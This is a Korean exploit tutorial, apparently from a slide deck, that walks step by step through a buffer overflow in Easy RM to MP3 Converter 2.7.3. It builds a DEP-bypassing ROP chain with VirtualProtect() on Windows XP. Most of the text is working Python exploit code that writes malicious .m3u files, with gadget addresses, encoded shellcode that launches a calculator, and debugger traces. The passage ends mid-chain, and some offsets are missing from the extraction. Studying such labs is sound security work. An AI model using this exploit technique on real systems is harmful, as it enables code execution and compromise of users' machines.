익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

Size: px
Start display at page:

Download "익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost"

Transcription

1 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

2 Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR [ DEP : OptOut ] - Python 기존의스택오버플로우문서에서사용했던프로그램을그대로이용할것이다. 다시상기시켜주자면해당프로그램은아주긴문자열을포함하는 m3u 파일을열때버퍼오버플로우취약점이발생한다. 운영체제환경과익스플로잇파일의위치에따라차이가나지만본인기준으로 EIP 레지스터가 바이트뒤에있는값으로오버라이팅되었다. 해당오프셋을알아내는파이썬코드는다음과같다. # byte pattern mona plugin/kali linux 이용 pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A === 생략 ===" payload = "A" * pattern f = open("rop_pattern.m3u", "wb") f.write(payload) f.close() 위코드를실행하여생성된 m3u 파일을열면 EIP가특정값으로변경되는데해당값의오프셋 을하면자신의환경에맞는오프셋을알수있다. # crash at 6044 ==> junk = "A" * eip = "BBBB" nops = "\x90" * 1000 payload = junk + eip + nops f = open("rop_ex1.m3u", "wb") f.write(payload) f.close() 알아낸오프셋이올바른지테스트하기위해위와같은코드를이용한다. 만약알아낸오프셋값이올바르다면 EIP 레지스터는 BBBB 데이터로채워지게된다. DEP 정책이 OptOut 이기때문에예외가발생하고디버거에붙일수없다. 위사진은오프셋값이 올바른지보기위해잠시 DEP 정책에서공격대상프로그램을예외처리한상태에서찍은것이다.

3 EIP가 BBBB로채워진상태이기도하고, ESP 레지스터는공격자가입력한 NOP 코드의주소를가지고있기때문에, 해당부분에쉘코드를삽입하는공격이일반적인스택오버플로우공격이다. 그러나 DEP 정책에의해이런방법은더이상유효하지않기때문에다른방법을이용해야한다. DEP를우회하기위해서 ROP 체인을생성하면되는데, 쉘코드가위치한메모리페이지영역의접근보호수준을 VirtualProtect() 함수를이용하여변경한뒤, 쉘코드를실행하면된다. 이작업을위해공격자는의도에맞게구성된인자들을함수실행시같이전달해야한다. 이인자값들은 VirtualProtect 함수를호출하는시점에정확히스택의최상단예차례로있어야한다. 인자삽입방법은크게 2가지가있다. 1. 필요한값들을레지스터에넣은뒤, pushad 명령을실행함 2. 스택에이미삽입되어있는인자를그대로사용하되, 나머지인자들은 ROP 가젯을이용해계산을수행한다음스택에넣음 Easy RM to MP3 Converter 프로그램은데이터를문자열로처리하기때문에, 공격자는 m3u 파일에서널바이트를사용할수없고, 쉘코드에사용이제한되어 있는특정바이트역시고려해야한다. 자이제체인을구성할차례이다. DEP를우회하기위해기존에존재하는명령어를체인으로엮어서사용해야한다. 여기서명령어는이미로드된모듈내에존재하는어셈블리어조각 ( 되도록정적주소를가지면서널바이트가없는것 ) 을의미한다. 또한기본적으로스택에데이터를올려야하기때문에레지스터를수정하고, 스택에서데이터를가져오거나삽입하는명령어를찾아서사용해야한다. 각각의명령어는어떤방법을통해서라도실행하고자하는다음명령어로분기가되어야한다. 가장단순한방법은명령어다음에 RET를붙이는것이다. 이렇게되면 RET 명령어는스택에서다음에수행할명령어를가져와서분기될것이다. 기본적으로 ROP 체인은스택에서주소를가져와분기를수행하는데, 해당주소에위치한명령어들은스택에서데이터를가져오는역할을담당하게된다. 이두명령어들의조합을이용하여 ROP 체인을구성하게된다. * 각 명령어 + RET 조합 == ROP 가젯

4 특정가젯에서다음가젯으로이동할때, 어떤명령어실행되는지, 해당명령이스택에어떤영향을미치는지고려해야한다. 만약이전명령이 ADD ESP,8 일경우스택포인터가이동하게되고다음포인터가위치해야할곳에영향을미치게된다. RET가정확히다음에수행할명령어를가리키도록만들려면이런변수를고려해야한다. ( 이런경우패딩을이용하여스택을적절히조절해야함 ) 또한제작하고자하는 ROP 루틴은상당한크기의스택공간을요구한다고추정할수있다. 따라서 ROP 루틴을제작함에있어가용버퍼공간은굉장히중요한요소이다. 지금까지의설명이잘이해가가지않는것이정상일텐데뒤의실습을천천히따라하다보면점점이해가될것이다. 일단 ROP 루틴의일부분으로, 공격자는스택에서값을가져와 EAX에넣고, 해당값을 0x80만큼증가시켜야한다고가정하면세부과정은다음과같아진다. 1. POP EAX + RET 명령어 ( 가젯 1) 를가리키는포인터를찾아스택에삽입 2. EAX에반드시삽입되어야하는값은포인터바로아래에삽입 3. ADD EAX,80 + RET 명령어 ( 가젯 2) 를가리키는포인터를찾아 EAX에삽입될값바로밑에삽입 4. 체인을실행하기위해가젯 1로분기 위와같은과정으로 ROP 체인을구성하게되면다음그림과같은형태가된다. 가젯 1,2 를생성하기위해사용하는포인터주소들은다음과같다. ( 이후에찾는법설명 ) 가젯 1 0x = POP EAX + RET 가젯 2 0x1002DC24 = ADD EAX,80 + POP EBX + RET 참고로가젯 2는 ADD 뿐만아니라 POP EBX 역시수행한다. 해당명령어는체인자체에는영향이없으나, ESP 레지스터에영향을미칠수있기때문에다음에위치하는 ROP 가젯의실행을위해서 ESP를이동시키는역할을하는패딩데이터를추가해야한다. 가젯 1,2를실행하고공격자가원하는값을 EAX에넣으면스택은다음과같은형태가된다.

5 우선공격자는 0X 가실행되도록해야한다. EIP 레지스터가 RET 명령을가리키도록만들어주면간단히해결할수있다. 따라서로드된모듈에서 RET를가리키고있는포인터를찾아 EIP에넣으면된다. * 0010F730 주소가 POP EAX + RET 명령어를가리킨다면 * 0010F731 주소는 RET 명령어를가리킴 EIP를 RET 명령어의포인터로오버라이팅하면, RET 명령어으로분기하게된다. 해당명령은스택에있는 ESP 값 ( ) 을가져와분기를수행한다. 해당값은 POP EAX를실행하고 값을 EAX에넣는포인터를실행한다. POP EAX 다음에있는 RET는현재 ESP에있는주소로분기하기때문에 1002DC24 주소로분기하게된다. 해당주소는 ADD EAX,80 + POP EBX + RET 주소를가리키기때문에해당가젯에서 EAX에있는값, 즉 x80 연산을실행한다. 이제지금까지의설명을기반으로다음과같은공격코드를작성한다. # coding:utf-8 import struct junk1 = "A" * eip = struct.pack('<l', 0x1002a21e) # RETN junk2 = "AAAA" # ESP 가첫번째 ROP 가젯을확실히가리키도록하는패딩값 rop = struct.pack('<l', 0x ) # POP EAX + RETN 가젯 1 rop += struct.pack('<l', 0x ) # EAX 에삽입될값 rop += struct.pack('<l', 0x1002dc24) # ADD EAX,80 + POP EBP + RETN 가젯 2 rop += struct.pack('<l', 0xDEADBEEF) # EBP 에삽입될값 nops = "\x90" * 1000 payload = junk1 + eip + junk2 + rop + nops f = open("rop_ex2.m3u", "wb") f.write(payload) f.close()

6 이전스택사진에서가젯 2 에대하여 EBX 레지스터를이용했지만, 실제바이너리 내부에해당가젯의명령어조합을찾을수없어공격코드에서는 EBP 레지스터로 대체하였다. 이제디버거를프로그램에 attach 하고 0x1002A21E 주소 (retn 명령어 ) 에 BP 를설정 한뒤, 위공격코드를통해생성된 m3u 파일을로드한다. 그러면다음과같이 BP 주소에서프로그램이종료되는것을볼수있다. BP 주소에도달하게되면, EIP 레지스터는 RETN 명령어를가리키게된다. 그러면위사진에서하늘색박스에서보는것처럼 0010FD38 주소에있는 값으로리턴하는것을볼수있다. Step-In(F7) 을통해명령어를하나씩실행하면다음과같은작업을수행하게된다. - RETN : EIP는 0x 주소로분기 ( ESP -> 0x0010FD38 ) - POP EAX : 0x 을스택에서가져와 EAX 에저장 ( ESP -> 0x0010FD3C ) - RETN : EIP는 0x 주소로분기 ( ESP -> 0x0010FD40 ) - ADD EAX,80 : EAX 값 (0x ) 에 0x80을더함 ( EAX -> 0x505050D0 ) - POP EBP : 0xDEADBEEF 를스택에서가져와 EBP 에저장 ( ESP -> 0x0010FD48 ) - RETN : 스택에서다음값을가져와분기 ( 예제의경우 0x ) 마지막 RETN 명령어가실행되기전에이버거를통하여레지스터들의값을확인 해보면다음사진과같다.

7 위그림에서보는것처럼, 공격자는스택의있는단하나의명령어를실행시키지않고도원하는명령어를실행하여, 레지스터의값을조작하였다. 또한기존에이미존재하는명령어들을이용하여 ROP 체인을구성했다. 체인은 ROP 공격을하기위해가장중요한역할을하기때문에, 반드시이해해야한다. ROP 개념을확인했기때문에실제적인공격을해볼려고한다. 다만익스플로잇코드를작성하기에앞서먼저해야하는것은다음과같은것들을고려하고전략을세우는것이다. - DEP를우회하기사용하려는기술, 해당기술을사용할때스택과인자에미치는영향 - 현재 DEP 정책, 해당정책을우회하기위해사용할수있는기술 - 사용할수있는 ROP 가젯 - 체인구성방법, 체인의첫부분을프로그램으로이동하기위한방법 - 스택의조작방법 이번예제의경우위와같은질문들에대한대답은다음과같다. - 공격자의쉘코드가위치한메모리의영역의보호수준을변경하기위해 VirtualProtect() 함수를사용한다. 해당함수는호출될때다음과같은인자들이스택의최상단에위치해야한다.

8 Return Address 함수종료시리턴되는위치의포인터 [ 스택에있는쉘코드주소 ( 동적생성주소 ) 로세팅해야함 ] lpaddress 접근보호수준을변경해야하는페이지영역의베이스주소를 가리키는포인터 [ 스택에위치한쉘코드의베이스주소 ( 동적생성주소 ) 임 ] dwsize 바이트의개수 ( 동적생성값, 전체쉘코드가실행되도록보장 ) ( 만약쉘코드가일련의이유 [ 디코딩루틴등 ] 로확장되면이추가바이트를이용 ) flnewprotect lpfloldprotect 새로운보호속성을의미하는옵션 (0x : PAGE_EXECUTE_READWRITE) 쉘코드가디코더에의해수정되지않으면, (0x : PAGE_EXECUTE_READ) 값을세팅해도무방함이전에가지고있던접근보호혹성값을받을변수의포인터 * 이번예제에서는 EASY RM to MP3 Converter의내부모듈중하나에서주소를가져옴 - ROP 가젯 : 이뮤니티디버거의 mona 플러그인이용 - 체인시작 : 스택에피벗설정 ( 직접 RET 를덮어쓸수있기때문에 RETN 을가리키는포인터를사용하면됨 [0x1002A21E] ) - 스택조작 : 다양한방법이존재하기때문에가장어려운부분임 예제에서사용하는쉘코드의길이는 502 바이트이고, 스택의어딘가에저장된다. 따라서공격자의버퍼와스택은다음과같은형태를가지게된다.

9 ROP 체인을구성하기전에, VirtualProtect() 함수호출이공격자의예상처럼잘동작하는지테스트를할것이다. 디버거에안에서스택과함수인자를수동으로조작하는것이가장쉬운방법이다. - EIP = VirtualProtect 함수포인터주소 or 함수의실제주소 - VirtualProtect 함수의인자값들을스택에삽입 - 쉘코드를스택에삽입 - 함수실행 위과정이성공하면, VirtualProtect() 함수가일단은잘동작한다고볼수있다. 또한이렇게되면쉘코드도잘동작한다는소리다. 따라서테스트를위해다음과같이코드를작성한다. #coding:utf-8 import struct junk1 = "A" * # mona 플러그인에서추출된 VirtualProtect 함수포인터주소는동작하지않을수있음 eip = struct.pack('<l',0x7c7d1ad4) # VirtualProtect 실제주소 junk2 = "AAAA" # 패딩 retn = struct.pack('<l', 0x ) # return address param1 = "XXXX" # lpaddress param2 = "YYYY" # Size - 쉘코드길이 param3 = "ZZZZ" # flnewprotect param4 = struct.pack('<l', 0x10069d37) # writable addr nops1 = "\x90" * 200 # 계산기실행쉘코드 buf = "" buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x58\x49" buf += "\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54" buf += "\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34" 계산기쉘코드의전체코드는 buf += "\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f"

10 buf += "\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34" buf += "\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32" buf += "\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70" buf += "\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\x43\x76\x50\x6d" buf += "\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d" buf += "\x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61" buf += "\x39\x30\x39\x4e\x36\x6e\x48\x58\x73\x5a\x37\x63\x50" buf += "\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c" buf += "\x52\x6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a" buf += "\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x57" buf += "\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47" buf += "\x62\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56" buf += "\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56" buf += "\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44" buf += "\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31" buf += "\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71" buf += "\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\x4c" buf += "\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b" buf += "\x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a" buf += "\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\x50\x4f" buf += "\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f" buf += "\x4b\x39\x4b\x33\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32" buf += "\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f" buf += "\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72" buf += "\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76" buf += "\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b" buf += "\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71" buf += "\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c" buf += "\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54" buf += "\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d" buf += "\x76\x74\x33\x79\x76\x35\x41\x41 nops2 = "C" * 300 payload = junk1 + eip + junk2 + retn + param1 + param2 + param3 + param4 + nops1 + buf + nops2 f = open("rop_ex3.m3u", "wb") f.write(payload) f.close()

11 위익스플로잇코드는 EIP 를 VirtualProtect() 함수의실제주소로덮어쓰고스택의 최상위부분에필요한 5 개의인자를삽입한다. 그뒤에약간의 nop 코드와계산기 코드가위치한다. lpaddress, Size, flnewprotect 인자는각각 XXXX, YYYY, ZZZZ 로세트된다. 뒤에서이값들을수동으로수정할것이다. 이제익스플로잇코드를실행하여 m3u 파일을생성하고, 어플리케이션을디버거에 attach 한다음 0x7C7D1AD4 주소에 BP 를설정한뒤 m3u 파일을로드한다. 스택의최상위부분을보면위그림처럼다섯개의인자가제대로들어가있는것을 확인할수있다. 이제스택창을아래로내리면서쉘코드의시작주소를찾아야한다. 쉘코드가 0x0010FE14 주소에서시작하고있는것을알수있다. 혹시모르니전체쉘코드가스택에잘있는지확인하길바란다. 이제 VirtualProtect() 함수의인자를수동으로조작할차례이다. 참고로리틀인디언방식으로입력해야한다는것을기억하길바란다.

12 인자를위그림처럼수동으로변경한다. 각인자가의미하는뜻은다음과같다. 함수인자 변경이전 변경이후 Return Address FE14 ( 쉘코드시작주소 ) lpaddress FE14 ( 쉘코드시작주소 ) dwsize BC (700 바이트 ) flnewprotect 5A5A5A5A ( 보호수준 ) lpfloldprotect 10069D37 변경없음 이전그림에서보듯이 VirtualProtect 함수의실제코드는별로길지않다. 몇개의 스택상호작용명령어와 VirtualProtectEx() 함수를호출하는데, 해당함수는접근 보호수준을변경시키는함수이다. RETN 10 명령어까지도달할때까지 F8 를누른다. RETN 10 명령어는스택을정리하고 0x0010FE14 주소로리턴하는데해당주소는 쉘코드의시작주소임을알수있다. 리턴주소를확인한뒤 F9 를눌러실행시킨다.

13 성공적으로 VirtualProtect() 함수를이용한기법이실행된것을알수있다. 이제 테스트가끝났으니범용쉘코드 ( 실시간으로동적값을생성 ) 을만들차례이다. 아쉽게도 ROP 체인을만들기위한범용명령어는존재하지않기때문에, mona 플러그인을이용한출력결과를이용할것이다. 참고로범용성을가지는 ROP 체인을 구축하면다음과같은형태가된다.

14 위그림에서보는것처럼공격자는체인의시작부분에서사용할수있는명령어 수가제한되어있는상태이다. 단순히스택포인터를저장한뒤, 인자를통하여 예약된공간을덮어쓰기쉽도록분기를수행한다. 함수포인터및인자예약공간은정확히말하면 ROP 가젯은아니고단지버퍼의 일부분으로스택에위치한정적값일뿐이다. 유일하게해야할일은예약공간다음에 위치한 ROP 체인을이용하여동적으로생성된값을예약공간에덮어쓰는것이다. 우선이전에실행한익스플로잇코드에서 EIP를덮어쓰는데사용한주소를변경할것인데, VirtualProtect() 함수를직접호출하는대신스택에리턴을해야한다. 이는공격자가 EIP를 RETN 포인터로덮어써야한다는것을의미한다. 이전에찾아놓은 0x1002A21E 주소를이용한다. 그리고이제함수인자값을조작해서스택의올바른위치에삽입하는방법을생각해봐야한다. - 쉘코드포인터 가장쉬운방법은 ESP 주소를가져와스택에넣고쉘코드를가리킬때까지증가시키는것이다. 아니면 rop.txt 에있는결과를기반으로사용가능한포인터를찾는방법도있다. - 사이즈변수 레지스터를시작값으로설정하고 0x40이될증가시키거나, 실행되면 0x40을생성할 ADD,SUB 명령어를찾을수도있다. 물론레지스터에시작값을먼저삽입 ( 스택에서 POP로가져옴 ) 해야한다. - 동적생성값을스택에다시삽입 레지스터에올바른순서로값을삽입하거나 push 명령으로스택에삽입한다. 혹은 MOV DWORD PTR DS[registerA+offset],registerB 형태의명령어를이용해스택에특정위치를직접쓸쑤도있다. 물론 registerb 는공격자가원하는주소값을미리가지고있어야한다. 실습을위해이뮤니티디버거에서!mona rop o n 명려어를실행하여 rop.txt 를먼저생성한다. 기존처럼 VirtualProect() 함수를이용할것이다. 이용가능한모듈은실행파일자체나, msrmfilte03.dll(aslr 미적용, 재배치가능성없음 ) 파일이있다. 다만아쉽게도두모듈모두 VirtualProtect() 함수호출구문이없기때문에어쩔수없이 OS 모듈을이용해야한다. * OS 모듈은환경마다주소가달라지기때문에최대한사용을자제하는것이좋음

15 우선처음에는스택포인터를저장하고인자값들을뛰어넘는분기를실행해야한다. VirtualProtect() 함수중 2개의인자 (Return Addres,lpAddress) 가쉘코드주소를가리켜야한다. 쉘코드가스택에위치한상황에서가장쉬운방법은현재스택포인터를가져와레지스터에저장하는것이다. 스택포인터를저장하는방법은 mov reg,esp push esp+pop reg 등여러가지가있다. rop.txt 파일을확인해보니다음과같은명령어를발견했다. # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN 그러나가젯의일부인 MOV DWORD PTR DS:[EDX],ECX 명령어가실행될때본인환경에서해당레지스터에 0x D 값이들어있어 Access Violation 오류가발생하였다. 따라서이를해결하기위해먼저 EDX 레지스터를사용가능한상태로만드는다음과같은가젯을찾아야만했다. # ADC EDX,ESI # POP ESI # RETN 다행히 ESI 레지스터에는유효한값이들어있기때문에해당값을 EDX 레지스터로복사하는가젯을추가하였다. 물론 POP ESI 명령어에대한패딩이필요하다. 또한기존의스택포이터를저장하는가젯에서사용된 ESI 레지스터는각종산술연산에서사용될수있기때문에 ( 나중에변경될수있음 ) 그리좋은레지스터는아니다. 따라서스택포인터값을다른레지스터 ( 예제에서는 EAX) 에도저장하는것이좋다. 게다가나중에쉘코드주소를복사하기위해어차피스택포인터를 2개의레지스터에저장 (1-쉘코드주소, 2-함수인자예약공간주소 ) 해야한다. # MOV EAX,ESI # POP ESI # RETN 이전에스택포인터를 ESI 레지스터에복사했기때문에다시해당포인터값을 EAX 레지스터에저장하는가젯을이용한다. 물론 POP ESI 명령어에대한패딩이필요하다. 마지막으로현재의 ESP 값이 2개의레지스터에저장되었다면 VirtualProtect() 함수코드를뛰어넘는가젯을찾야아한다. 뛰어넘기위해서는최소 ESP+20 바이트가필요한데 ROP 가젯에서해당바이트만큼직접뛰는코드가없어비슷한역할을하는가젯을찾아야했다. 다행히 ESP 레지스터 0x0C를더한후 POP을여러번하는가젯을찾을수있었다. 물론 POP 명령어들에대한패딩이필요하다. # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN

16 지금까지찾아낸가젯의주소를이용한익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN # VirtualProtect 코드 rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add rop += "JJJJ" # next rop code / need modify nops1 = "\x90" * 200

17 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49 \x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b \x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42 \x75\x4a\x49\x4f\x4e\x68\x58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59 \x42\x54\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79 \x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71 \x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32\x76\x30\x49\ x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\ x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d\x79\x4c\x 6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58\x 73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x 6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x 4e\x67\x75\x6f\x6a\x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x6 2\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5 a\x6e\x4d\x6d\x75\x44\x56\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44 \x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31\x46\x6f\x4a\x31\x61\x6f\ x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\ x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\x65\x4d\x6a\x61\x4e\ x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\ x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x33\x 44\x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x 33\x66\x6f\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x 4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4 e\x4b\x45\x4b\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f \x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53 \x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d\x76\x74 \x33\x79\x76\x35\x41\x41" nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex4.m3u", "wb") f.write(payload) f.close() 위코드를실행하여 m3u 파일을생성하고, 디버거에프로그램을 attach 한뒤 eip 레지스터의값으로세팅한 0x1002A21E(retn 명령어주소 ) 에 BP 를설정한다. 그리고 m3u 파일을실행된프로그램에서불러온직후의스택상태를보면다음과같다.

18 모든값이제대로스택에삽입된것을확인했으면이제한줄씩실행하면서공격자가 원하는형태로레지스터가세팅되는지살펴봐야한다. 가젯의제일마지막까지실행하면일단 4A4A4A4A 로리턴하는것을볼수있다. 즉 VirtualProtect 코드는성공적으로뛰어넘은것이다. 그리고레지스터값들역시 공격자가원하는값으로세팅되었다. ( EAX 에기존의스택포인터값이존재, ESI 는변형됨 ) 이제 VirtualProtect 함수의첫번째인자를생성해서스택에삽입된첫번째인자공간에값을삽입해야한다. 첫번째인자는 return address, 즉쉘코드의주소를의미한다. 쉘코드는기존의디버거화면에서보여지는스택창에서스크롤을좀내리면위치하고있다. 현재 EAX 레지스터가스택포인터를가지고있기때문에나중을위해해당값을우선다른레지스터에다시복사해야한다. ( 기존에복사했던 ESI 레지스터는값이변형됨 ) 가젯을찾아보니 EDI 레지스터에복사할수있다.

19 # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 위와같은가젯을이용하여 EAX 에저장된스택포인터를 EDI 에복사한다. 그리고 POP ESI, EBX 명령어를위한패딩 8 바이트가필요하다. 이제스택포인터가저장된 2 개의레지스터를확보한상태이다. 그럼이제첫번째 인자를덮어써야하는데다음과같은방식을이용할수있따. 1. 첫번째스택포인터값 (EAX) 에 0x100 바이트를더함 - 쉘코드의주소 or 쉘코드주소이전에위치한 nop 썰매어딘가 2. 두번째스택포인터값이첫번째인자위치 (ESP+10) 을가리키게함 3. (1) 명령어의결과값 (EAX=EAX+100) 를 (2) 번위치에복사 위와같은방식을이용하기위해사용하는가젯을모으면다음과같다. 0x1002dc4c : # ADD EAX,100 # POP EBP # RETN 0x f : # XCHG ESI,EDI # DEC ECX # RETN 0x04 0x76e81b3a : # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 1번가젯 : EAX 레지스터에 +100 을더함 / POP EBP 패딩필요 2번가젯 : ESI,EDI 레지스터의값을서로변경 => ESI에스택포인터저장됨 3번가젯 : [ESI+10] 주소에 1번가젯의결과값을저장 * [ESI+10] 주소를사용하는이유는, 스택포인터기준으로 VirtualProtect 함수의첫번째인자인리턴주소는 +0x10 바이트에위치하기때문임 지금까지알아낸가젯을포함하는익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩

20 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN # ROP - VirtualProtect 코드 rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add # ROP2_VirtualProtect_First_Param # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩

